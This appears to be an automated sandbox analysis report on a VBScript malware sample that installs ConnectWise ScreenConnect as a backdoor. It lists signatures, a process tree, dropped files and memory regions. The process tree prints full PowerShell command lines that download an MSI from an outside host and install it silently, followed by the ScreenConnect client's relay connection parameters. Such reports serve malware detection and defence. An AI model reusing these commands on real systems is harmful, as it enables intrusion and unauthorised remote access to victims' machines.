Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    13/08/2026, 19:38

General

  • Target
    a5828e4832274385b9645d39434e8038a31692ed6ba9948c4ec00e87c70097dd.vbs
  • Size 2KB
  • Sample260813-ychansen3v
  • SHA256 a5828e4832274385b9645d39434e8038a31692ed6ba9948c4ec00e87c70097dd
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://yeriaco.vu/scr/STjude.msi

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 9 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 27 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a5828e4832274385b9645d39434e8038a31692ed6ba9948c4ec00e87c70097dd.vbs"
    1⤵
    • Badlisted process makes network request
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:5408
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\a5828e4832274385b9645d39434e8038a31692ed6ba9948c4ec00e87c70097dd.vbs" /elevated
      2⤵
      • Badlisted process makes network request
      • Executes a VBScript file via the Windows Script Host.
      • Suspicious use of WriteProcessMemory
      PID:1568
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(New-Object System.Net.WebClient).DownloadFile('https://yeriaco.vu/scr/STjude.msi', 'C:\Windows\Temp\Setup.msi')"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:6956
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Start-Process msiexec.exe -ArgumentList '/i "C:\Windows\Temp\Setup.msi" /qn /norestart ALLUSERS=1 SKIP_CHECKS=1' -Wait"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1780
        • C:\Windows\system32\msiexec.exe
          "C:\Windows\system32\msiexec.exe" /i C:\Windows\Temp\Setup.msi /qn /norestart ALLUSERS=1 SKIP_CHECKS=1
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:2412
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2452
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 1A893698840160609149330CF69DB133
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1056
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI7526.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240743953 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:6448
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 17396BA0850F35AA50985619EC2B0348 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:6580
  • C:\Program Files (x86)\ScreenConnect Client (d2086eda64668bd7)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (d2086eda64668bd7)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-r1906j-relay.screenconnect.com&p=443&s=86a970eb-1b28-4d40-ab79-d063fc8a88ff&k=BgIAAACkAABSU0ExAAgAAAEAAQD5xc0%2bmw9zob5NhzNTBnUlkPh1vDm5XVnGlpWi5IAdS5BkgEvnSsjnK0cytHDym2lhwhGPSQT8VYKsNTBjH08rpAuIvnmXIm2y7opiQG%2bPDWayXYuDeILs8bSFBmjBe7nZ1C9loJVPlTzTleERoGeT6CLyKGrcrcE58NgK%2b1DXq4vtEFzEeBE%2bbftiqDz4RrqdOz1OcyfyQDB8FHHgdzkBEHITr54q6LeWrLo%2bXojW2CwGYuU%2f0cMq2KUpNuc30cw8eDS9HTA8z6it2Y6FoOusOMHjpqcETee9zaeUSyIMZgnCgMSJ4lpyZ8P9ZDBCXFbEDRqolNskUW95mQ52OCTO&c=TP1&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:6704
    • C:\Program Files (x86)\ScreenConnect Client (d2086eda64668bd7)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (d2086eda64668bd7)\ScreenConnect.WindowsClient.exe" "RunRole" "250e459e-de09-47fb-a5d5-2946300ac194" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:5036
    • C:\Program Files (x86)\ScreenConnect Client (d2086eda64668bd7)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (d2086eda64668bd7)\ScreenConnect.WindowsClient.exe" "RunRole" "451671f9-8895-4a3a-af89-fc543b38b8ec" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:3728

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e597316.rbs

        • Path C:\Config.Msi\e597316.rbs
        • Size 214KB
        • SHA256 904d93ec12c8cba5c5b299421366e600ea50b66e6d1b4abc41b9010db6cd3859
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (d2086eda64668bd7)\Client.en-US.resources
        • Size 64KB
        • SHA256 a90983b3d26f9e6bb472663b84d13254349f62b0ad4c667fd76b3edd270240b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (d2086eda64668bd7)\Client.resources
        • Size 6KB
        • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (d2086eda64668bd7)\ScreenConnect.Client.dll
        • Size 412KB
        • SHA256 8e5531c2b302f9c95ed32ac7481d3535b6d51147257d317686c07ea1a9cb8362
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (d2086eda64668bd7)\ScreenConnect.ClientService.dll
        • Size 92KB
        • SHA256 ed32fe0d924959020cbef0534a7ba612e94263ccc74837475f3b5a6a726acad0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (d2086eda64668bd7)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 16b4c273a25526e7262716ebe9d46480962347191a034595f18be740d9ce1e17
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (d2086eda64668bd7)\ScreenConnect.Core.dll
        • Size 579KB
        • SHA256 f64cb7ab5f105c22348a22e02dd506ff45456884639fee0f322862112860af24
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (d2086eda64668bd7)\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 c50d6e8d93ed197dd0cfb647743b42a2a6a9289f6db04092f56cefd6d569663e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (d2086eda64668bd7)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (d2086eda64668bd7)\ScreenConnect.WindowsClient.exe
        • Size 678KB
        • SHA256 2ad8f126461607aad3fa31a41f1f39bc74f471fd84191b43e205610db2c4cf09
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (d2086eda64668bd7)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (d2086eda64668bd7)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 4868b7997b9b4260be2df752a81a750388243cdbea37e4d82a9e0101cd29d0c7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (d2086eda64668bd7)\system.config
        • Size 956B
        • SHA256 b26a5b4746383c92e11f8fbb3c0008382e8dc07d6e3054135836eb9bbc3ee592
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 452eb598b2884fd99242cb5db005e3ac8e31bc9e3d58fe88ad0dd79ba08fbfd1
        • MD5 SHA1 SHA512 TLSH

        MSI7526.tmp

        • Path C:\Windows\Installer\MSI7526.tmp
        • Size 1.1MB
        • SHA256 de867af8055f81b7691f12175deb4c4e7f3bf97130e51761ed02182b0496e16f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI7526.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI7526.tmp-\ScreenConnect.Core.dll
        • Size 569KB
        • SHA256 e92d94613443befebb55b08f80d10a2fdbfc58233e8dc95cfb4466fde12964f7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI7526.tmp-\ScreenConnect.InstallerActions.dll
        • Size 24KB
        • SHA256 d827d3575ca29f8a40ea5379c7df2b315fc72cbd93451de94e199740594b51bb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI7526.tmp-\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 320b89343e896a8d2ebf537861d800a9aca88245cc3b5616bb5bea5cc6797fbb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI7C3D.tmp

        • Path C:\Windows\Installer\MSI7C3D.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        0buzru5o.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (d2086eda64668bd7)\0buzru5o.newcfg
        • Size 882B
        • SHA256 e118a987b6554ac762486166d141abd09e7c10f4a2c488aabf27f3165c1e2385
        • MD5 SHA1 SHA512 TLSH

        5itzwvwl.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (d2086eda64668bd7)\5itzwvwl.newcfg
        • Size 683B
        • SHA256 9b46d2be2b053075f2943dab304662fc952352b81d431117756e162fbcad23d1
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (d2086eda64668bd7)\user.config
        • Size 520B
        • SHA256 cfc48b688aa57c38fddc738e93611ac05ce29e4b9178797d28fcacb3cb9887e3
        • MD5 SHA1 SHA512 TLSH

        Setup.msi

        • Path C:\Windows\Temp\Setup.msi
        • Size 9.8MB
        • SHA256 0a12805a1721d1d904f969fb566f498125b83f2446ef1e86f7ac316c4e7712e4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/3728-153-0x0000000000FC0000-0x0000000001001000-memory.dmp

        memory/3728-154-0x000000001CD90000-0x000000001CE80000-memory.dmp

        memory/5036-146-0x000000001B640000-0x000000001B6AC000-memory.dmp

        memory/5036-147-0x000000001BAF0000-0x000000001BB84000-memory.dmp

        memory/5036-145-0x00000000009B0000-0x0000000000A5E000-memory.dmp

        memory/5036-149-0x000000001BD40000-0x000000001BEF0000-memory.dmp

        memory/5036-150-0x0000000002CC0000-0x0000000002CDA000-memory.dmp

        memory/5036-151-0x000000001C080000-0x000000001C208000-memory.dmp

        memory/6448-42-0x0000000005760000-0x0000000005910000-memory.dmp

        memory/6448-43-0x0000000005ED0000-0x000000000648A000-memory.dmp

        memory/6448-30-0x0000000005400000-0x000000000542E000-memory.dmp

        memory/6448-34-0x0000000005440000-0x000000000544C000-memory.dmp

        memory/6448-38-0x0000000005510000-0x00000000055A4000-memory.dmp

        memory/6704-85-0x0000000004190000-0x0000000004224000-memory.dmp

        memory/6704-89-0x00000000044A0000-0x0000000004650000-memory.dmp

        memory/6704-127-0x00000000048B0000-0x0000000004986000-memory.dmp

        memory/6704-79-0x0000000001AF0000-0x0000000001B0A000-memory.dmp

        memory/6704-99-0x0000000004280000-0x00000000042D0000-memory.dmp

        memory/6704-121-0x0000000004650000-0x00000000046BC000-memory.dmp

        memory/6704-123-0x00000000046C0000-0x0000000004752000-memory.dmp

        memory/6704-125-0x00000000043F0000-0x0000000004431000-memory.dmp

        memory/6956-2-0x00000154F4640000-0x00000154F4662000-memory.dmp